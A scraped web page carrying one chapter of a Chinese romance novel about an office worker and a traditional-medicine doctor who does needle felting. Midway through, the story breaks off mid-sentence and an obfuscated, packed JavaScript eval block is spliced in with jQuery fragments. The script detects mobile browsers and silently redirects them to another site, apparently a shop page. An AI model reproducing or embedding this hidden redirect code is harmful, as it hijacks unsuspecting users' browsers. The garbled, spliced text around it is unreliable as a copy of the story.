默认冷灰
24号文字
方正启体

5. 解释一下?

作者:云冲默本书字数:K更新时间:
    许照嵘觉得同事小王看他的眼神有点怪,好像还有点怕他。


    但他没在意,仍旧是工作摸鱼两不误。


    自己的紫花苜宿种子到了,就把萎靡不振的金钱草拔了,泡上新种子。


    “你跟我来一下。”辛哥突然从他身后闪现。


    哎呀,差点忘了,昨天翘班被抓了个正着。


    不过辛哥的情绪看起来还不错,没有以前那种乌云密布的感觉。


    许照嵘拍拍手,连忙跟着去了。


    辛哥把小会议室的门关上,“昨天的事……”


    “对不起领导!”许照嵘一个鞠躬打断施法,“我第一次找凌大夫看病体验良好,之后一直没机会复诊,昨天就自作主张又去。是我的错,我忏悔,我赎罪!”


    辛哥愣了半晌,僵硬的表情却忽然勾起一个笑容。


    “想什么呢。还得谢谢你让我妈找到了明医。虽然开始没挂对号,但中医堂里确实英雄出少年。扎了一回针,喝了一副药,我妈就觉得眼睛热乎乎的。


    “我爸过世之后她视力很快下降,三个月之后就看不见了。那段时间我总请假,你也知道,我也不好总麻烦我老婆照顾,就找过阿姨,但……也出过不少麻烦。


    “中间我带她求医问药,半年了,三甲医院看都说可能是视神经的问题,怎么治疗都没效果。去中医院,也只能缓解她的不适,但视力始终不见好转。直到昨天……”


    目瞪口呆,辛哥很少说这么多话,这回眼睛都有点红了。


    许照嵘赶紧说道:“阿姨病情好转真是太好了,还是小凌大夫医术高超,不用谢我。”


    辛哥拍拍他的肩膀,“你昨天翘班的事情我就替你保密了,再往前那天也不计入事假,就当你去外面开会。你呢……以后有什么需要帮忙的跟我说。”


    许照嵘受宠若惊。


    但相比辛哥有道理有逻辑的对他好,他觉得小王的态度更为古怪。


    原本隔着大老远都要过来找他聊天,这回畏畏缩缩,找他说工作看文件都要一臂间隔。


    中午的时候,小王同样跟他保持社交距离,做贼似的小声问他。


    “我们工会还有点钱,我寻思着,建议他们组织一个员工活动,邀请中医大夫来这边义诊,给打工人们调理身体,你觉得怎么样?”


    “嗯,挺好啊。”说着许照嵘像往常一样抬起手想拍他肩膀,说声“交给你了。”


    没想到小王立刻弹簧似的躲远。


    许照嵘抓耳挠腮,往前走一步,他就退一步。


    这叫什么事儿!


    “从早上开始就想问了,你丫这肚子里到底憋着什么坏屁呢?”


    小王开口欲言,欲言又止,止不住地往后退。


    别人都去休息区和食堂了,就他俩在大办公室你追我赶。


    “干什么玩意儿,你怕我是吗,我是什么野兽吗?”


    面对损友搭子的警惕,许照嵘气笑了。


    小王一咬牙一跺脚,颤颤巍巍地叫出声。


    “你赶紧追上凌大夫,我就不会担心自己了!”


    许照嵘一愣,下意识地回复,“你在想桃子啊!我也是很有原则不是谁都看得上的!等等,凌大夫……你说什么呢?”


    多半是直男恐同行为,不过……为什么会和凌大夫扯上关系?!


    小王转眼间就要被逼到墙角了,他心虚开口,“你,你不是要追小凌大夫吗……”


    许照嵘瞬间被戳破了似的,说都不会话了,“啊不是,你,我,你跟谁说了?我可没这么说过!”


    “什么!你对小凌大夫不是真心的?原来你是这么浪荡的小许!”


    许照嵘要骂人了。


    笑话!天地良心!自己是真想追灵老师的,但谁知道凌大夫这么傲——说不定是个傲娇——那叫一个油盐不进!


    浪荡?这词更是和他没有任何关系。除了上班,看“灵书手作”扎羊毛毡,看课精进工作技能,在网上冲浪就够了,要不是有人请客,哪里会去外面浪!


    没听凌老师说么,后背没什么肌肉,这就是守男德的阿宅啊!


    “去你的,我从来就没告诉过任何人,除了小凌大夫本人!你过来,过来!别躲我!”


    小王哪里敢停啊,趔趔趄趄的从还有点愣的许照嵘身边钻过去。


    许照嵘可不能放过他,当即开启了极速模式,在办公室上演一出他逃他追。


    在身形敏捷的许照嵘的威逼利诱下,小王终于被摁在转椅上吐露了真相。


    许照嵘一言难尽,“好啊!你居然当时连屁也不肯放一个帮我解围!”


    “可凌大夫除了说话,也没怎么你啊……”


    许照嵘不怒反笑,意味深长。


    “呵。好好劝劝工会,把灵枢中医堂的大夫请过来,我让你排一号,好好尝尝凌大夫的针法!没怎么样,哼,你知道啥啊……”


    想起那天奔现被摁的丢人场面,恨不得泪流满面。


    堂堂猛一,居然被这么对待!不愧是凌老师,也只有凌老师能把他收拾得服服帖帖……


    除了老爸和辛哥之外。


    .


    凌知殊坐在桌子前扎着羊毛毡,这次他要扎一个蛇床的小人偶。


    蛇床是伞形科的,它的花是很多的五瓣小白花聚成一朵伞。


    这种细小的花做起来很麻烦,凌知殊也不会抠得太细,扎住花瓣根部,浅浅凹个造型,保留一点毛绒质感再扎紧到一起。真要是犯懒了就用不沾布剪,但会显得平面。


    要的就是耐心。


    细细的针尖在白色的羊毛中快速穿梭,左手手指按住扎好的部分……


    嘶!


    凌知殊连忙停下针。


    扎到手了。好在只是扎透了手指表皮层,蹭得里面有点发红。


    做这个最忌讳的就是走神。


    凌知殊叹口气,放下戳针和羊毛。


    果然每次想到那个许照嵘都很麻烦,伞形科也变得一并有些麻烦了。


    那天回去的路上他并没有主动追问妹妹“看相”“解名”究竟怎么回事儿。他知道自家妹子自小有灵气,拜了个龙虎山的道长,除了在家里学习中医,就是跟着道长学点玄学。


    凌知殊没这个天分,但他从不怀疑自家妹子的本领。


    “这个人没有坏心思,哥哥你要是认真观察他,应该就会觉得他这个人还不错。”凌知理叹口气,“我也是不懂了,你怎么就对他有那么厚的反派滤镜,简直像是炸毛的猫。”


    凌知殊看了一眼妹妹,垂着眼皮没说话。


    你说他烦吧,确实烦,看见他的名字他的人,心里没来由的,一股气乱窜,窜得神志不安。


    这是不是算把自己的不适迁怒给了别人呢?


    “嗯……这个人会变得很


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760754|190142||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    重要,哥你有什么眉目吗?”


    凌知殊撇撇嘴,仍旧嘴硬,“或许但大概率不会,他变成我男朋友。”


    凌知理摸着下巴,眼睛逐渐瞪大了。


    “啊对!啊对对对!我说呢怎么带着红鸾星象!可惜了,不会有嫂子和我当闺蜜聊天儿了……”


    “他想得美。”凌知殊信她,但不信她的话。


    毕竟现在的许照嵘在他眼里就是个吊儿郎当,慵懒,癞蛤蟆想吃天鹅肉的小怂包。


    除了皮囊上是有点东西的,哦,还不够健壮。


    脾气?逆来顺受,是不是和牛马一样,总是被PUA都习惯了?


    不是真的懂植物,也不懂手工和中医,等着看病还敢睡觉,还当面大放厥词,脸皮比城墙厚!


    凌知殊心里头碎碎念着,后面妹妹说了什么他也没听见。


    “总之呢……哥?哥?”凌知理斜他一眼,抓过他的手,照他虎口处的合谷穴重重摁去。


    酸胀疼痛逼得他立刻回过神。


    “没听见对你也好。”她嘀嘀咕咕着,“算了,你这几天可该更新羊毛毡成果,不然那个雪绒绒又要在你评论区疯狂催更了。”


    雪绒绒,哦。


    本以为当时已经能做到置之不理,但一直到回家,开始戳这个小玩偶的时候,自己的心神好像还在外面游荡。


    心病还须心药医……凌知殊搓着手皮儿,拿过手机,犹豫片刻,点进“雪绒绒他超幸运”的主页。


    上次只是简单滑到他发布的坠海动态,觉得他轻浮又浮夸,除此之外……似乎是个不常发动态的宅男。


    最新的动态是“老家房子漏水了,年头久了就是会老化啊。还得亲自糊水泥防水漆。”配了不少施工现场图。


    咦,如果是真的,那还挺能干嘛。


    往前是他的小决明,凌知殊快速略过。


    许照嵘坠海那次自嘲地发了一张裹着被子还湿漉漉的照片,照片上他冻得瑟瑟发抖却依然满脸笑意。


    他之前发过一段时间的晚餐和种的菜,发过几次团建旅行的风景,发过几次观影读书笔记。


    这些晚餐看起来还不错,不知道吃起来有没有看着那么好。香菜能长这么茂盛也不容易。


    这些旅行地的风景还不错,这个长胳膊长腿的家伙身体舒展开来还真是养眼。


    这些书还有点儿深度,不像他这幅样子会看的。


    再早,再早,还有他大学毕业时的青涩,能看出来也是个活泼的,笑起来满脸褶,显得老得快。


    但也阳光温暖。


    凌知殊深深吸气,摸着胸口。


    且不管妹妹说的有几分准,自己下次要有机会见到他,还是要尽量发现别人的优点。


    毕竟老冷脸待人也不好,气坏别人就算了,还不是自己遭罪?


    稍微想明白些,凌知殊再拿起戳针的时候,手就更稳了。


    一点点地戳着,一点点地留让羊毛毡化黏连,一点点地让蛇床拥有了白色的花帽子,长出了绿色的小叶子。


    没有扎手,没有断针,又是一只完美的小蛇床,弯弯的眼睛好像是……


    毕业典礼上眼睛弯弯的许照嵘。


    嘶……还好及时收住了针。


    ——乱我心者,今日之日多烦忧。


    凌知殊的眼神瞬间凌厉起来。


    许照嵘你完了你知道吗?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)